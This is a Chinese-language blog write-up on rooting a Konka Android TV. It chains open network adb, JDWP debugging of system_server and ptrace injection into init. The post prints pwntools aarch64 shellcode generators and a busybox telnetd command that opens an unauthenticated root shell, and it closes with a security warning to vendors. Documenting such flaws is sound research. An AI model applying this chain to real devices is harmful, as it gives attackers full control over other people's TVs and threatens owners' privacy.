Konka TV PWN

原文作于 2023.01.27, 整理于 2023.11.21

老家的 Konka 电视是个 Android 系统,曾经 nmap 扫描过,发现 adb 是开放的,这次过年回去研究了一下,发现可以提权。

分析

使用 adb 是可以直接连接的,uid 是 shell ,不需要在 TV 上进行任何授权。

看看系统属性:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
[ro.adb.secure]: [0]
[ro.allow.mock.location]: [1]
[ro.board.platform]: [bigfish]
[ro.boot.selinux]: [enforcing]
[ro.build.tags]: [release-keys]
[ro.build.type]: [user]
[ro.build.version.all_codenames]: [REL]
[ro.build.version.base_os]: []
[ro.build.version.codename]: [REL]
[ro.build.version.incremental]: [eng.KK.20200408.160235]
[ro.build.version.release]: [5.1.1]
[ro.build.version.sdk]: [22]
[ro.build.version.security_patch]: [2017-06-01]
[ro.debuggable]: [1]
[ro.drm.tvp]: [false]
[ro.factorytest]: [0]

内核版本:

1
Linux version 3.18.16_s5 (wangkang@ubuntu) (gcc version 4.9.1 20140529 (prerelease) (crosstool-NG linaro-1.13.1-4.9-2014.07 - Linaro GCC 4.9-2014.06) ) #1 SMP Wed Apr 8 16:18:43 CST 2020

cpu 是 arm64 的,Android SDK 版本 22 .

ro.adb.secure 是 0 ,因此 adb 不需要验证即可连接。

ro.debuggable 是 1 ,因此这个系统是可调试的

ro.build.type=user ,这是个 user 构建的系统。

系统中没有 su ,尝试了一下 adb root ,执行倒是成功了,但是进入 adb shell 仍然不是 root 。此外,使用 run-as 总是报错找不到包,看来想要得到 root 甚至其他用户都没那么容易。

不过 ro.debuggable=1 还会影响别的东西,比如,app 进程的调试默认都是打开的。使用 adb jdwp 可以看到一串 pid ,其中甚至包括 system_server 的。

使用 adb forward tcp:xxxxx jdwp: 可以转发 jdwp ,利用 jdb 连接,真的可以对系统服务进行调试!

但是我们不能对 zygote 进行调试,因为 Android 在设计上就是关闭的。

注意到 system_server 的权能(Capability)是这样的:

1
2
3
CapInh: 0000000000000000
CapPrm: 0000001006893c20
CapEff: 0000001006893c20

其中包括了 cap_sys_ptrace ,意味着可以对任意进程进行调试——无视了 uid 等隔离。不过 CapInh 为 0 ,意味着 execve 的进程不具备这些权限。

另一方面,系统中还存在一个大洞:getenforce 返回的是 Disable ,这意味着 SELinux 的保护也不存在!

如此一来,如何提取 root 权限就有一条比较清晰的路线了:

  1. 系统服务暴露的 jdwp 让我们执行任意代码
  2. 在系统服务中加载 native lib ,ptrace 控制任意一个 root 进程
  3. 控制 root 进程反弹 shell

理论存在,实践开始!

第一阶段:取得 system 和 ptrace 权限

理论上来说我们可以用 am attach-agent 注入一个 agent lib ,这样就不需要和 jdwp 打交道了,但是这个 API 22 的 am 竟然没有 attach-agent 子命令。我不打算仔细研究是否能注入 agent 了,直接利用 jdwp 就行。

jdb - The Java Debugger

java - How to run custom code in JDB session? - Stack Overflow

浅析JDWP远程命令执行漏洞 [ Mi1k7ea ]

IOActive/jdwp-shellifier

jdwp 需要在线程挂起的时候才能执行大部分操作,比如执行任意代码。

jdb 中可以使用 eval/dump/print 执行代码,但我们首先需要挂起一个线程,

threads 列出线程信息(注意线程 id 并不是 linux 的 tid),由于是手动操作,为了避免长时间挂起线程影响系统,这里我选择挂起 watchdog (但是实际上一直挂起它也会在某些情况下导致系统卡住,如 activity 切换的时候,这时候 resume 或退出调试器就好了)。

使用 suspend tid 挂起, resume tid 恢复(不写 tid 默认所有线程)。

使用 thread tid 进入线程,stepi 步进,这时候就可以用 eval 等命令执行任意代码了。

eval java.lang.Runtime.getRuntime().exec 可以执行任意程序,我们可以用 busybox 的 telnetd 在网络上开启 shell (可以用 Magisk busybox):

busybox telnetd -l /system/bin/shell -p 8023

但是由于 system_server 的权能无法继承,因此这个 shell 没什么用(甚至无法绑定 telnet 默认端口 23,而系统服务是有 cap_bind_net_service 权限的),最多访问一些系统目录。

编写了一个简单的 lib 测试,eval java.lang.System.load("/data/local/tmp/libpwn.so") 加载,可以发现 root 进程确实可以 ptrace 附加(此处附加了 init ,也许附加 zygote64 会更好)

第二阶段:控制 root 进程

思路:mmap rwx 内存区域,写 shellcode ,执行 fork 和 execve 系统调用启动 telnetd 。

可以利用 pwntools 生成 shellcode 。

在 android 中, SYS_fork 并不存在,libc fork 采用的是 clone 实现 fork

可以参考 AOSP:

fork.cpp

我们使用 jdwp 加载一个 so ,在里面 ptrace init 注入 shellcode 执行。

ptrace 的源代码在这里:https://gist.github.com/5ec1cff/0cb045c79d78aa02f927edfc54be5ade#file-pt-inject-c

下面详细说说 shellcode 怎么得来的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *

if __name__ == '__main__':
context(arch='aarch64', os='linux')
# CLONE_CHILD_SETTID | CLONE_CHILD_CLEARTID | SIGCHLD
code = pwnlib.shellcraft.aarch64.linux.syscall('SYS_clone', 0, 0, pwnlib.constants.eval('SIGCHLD') | 0x01000000|0x00200000, 0, 0, 0)
code += 'cmp x0, #0x0\n'
code += 'b.gt aaa\n'
code += pwnlib.shellcraft.aarch64.pushstr("/data/local/tmp/busybox")
code += pwnlib.shellcraft.aarch64.pushstr_array("x14", ["telnetd", "-l", "/system/bin/sh"])
code += pwnlib.shellcraft.aarch64.linux.syscall('SYS_execve', 'sp', 'x14', 0)
code += 'aaa:\n'
code += pwnlib.shellcraft.aarch64.breakpoint()
print(code)
c = asm(code)

但是使用上面生成的 shellcode 会出现 SIGBUS :

1
2
3
4
5
6
7
7fd4b09000-7fd4b2a000 rw-p 00000000 00:00 0                              [stack]

D:child stopped by sig: 7 Bus error
D:fault addr: 0x7fd4b27dc0

I:sp=0x7fd4b27da8
I:pc=0x7409439070

SIGBUS 应该不是栈溢出,查了一下是 arm64 stp, ldp 指令要求 sp 16 位对齐

How do I parse ARM64 assembly SIGBUS error? - Stack Overflow

是 pushstr_array 导致的,看起来是 pwntools 的问题,但是 pwntools 又说修了。

aarch64.linux.pushstr_array is broken · Issue #1549 · Gallopsled/pwntools

最后干脆 execve 一个跳板程序(这里就执行一个 sh /data/local/tmp/pwn.sh),不需要 arg 也就不会用到 pushstr_array ,总算不会 SIGBUS 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
import struct

if __name__ == '__main__':
context(arch='aarch64', os='linux')
code = pwnlib.shellcraft.aarch64.linux.syscall('SYS_clone', pwnlib.constants.eval('SIGCHLD'), 0, 0, 0, 0)
code += 'cmp w0, #0x0\n'
code += 'b.gt aaa\n'
code += pwnlib.shellcraft.aarch64.pushstr("/data/local/tmp/pwn.sh")
code += pwnlib.shellcraft.aarch64.linux.syscall('SYS_execve', 'sp', 0, 0)
code += 'aaa:\n'
code += pwnlib.shellcraft.aarch64.breakpoint()
print(code)
c = asm(code)
print(list(c))

最后再完善一下 JDWP 注入,代码:

https://gist.github.com/5ec1cff/0cb045c79d78aa02f927edfc54be5ade#file-jdwp-py

参考了 jdwp-shellifier 和以下项目。

WindySha/jdwp-xposed-injector: This is an injection tool that can inject xposed module to debuggable app by jdwp.

一种基于JDWP动态注入代码的方案 | Windy’s Journal

PWNED

通过 telnet 即可访问 root shell 。

总结

这一次 pwn 算是同时学习了利用 Java 的调试协议 (JDWP) 和 linux 调试 API (ptrace) 实现任意代码的执行,同时也体会到,随意开放调试是会带来巨大风险的。这台电视的系统不仅在网络上开放了 adb ,还允许调试任意进程,SELinux 被禁用,利用 system_server 的 ptrace 特权从而得到 root 权限——正是这一系列安全机制在系统的开发阶段被忽视,才有了提权的可能。但仔细一想,最恐怖的还是任意安装到电视的具有网络访问权限的 App 都可以这样获得 root 权限,掌控整台设备。假如电视还有摄像头、麦克风等外设(当然这台是没有的),必然会进一步威胁到用户的隐私。因此,作为厂商,在系统安全方面一定要做到合规。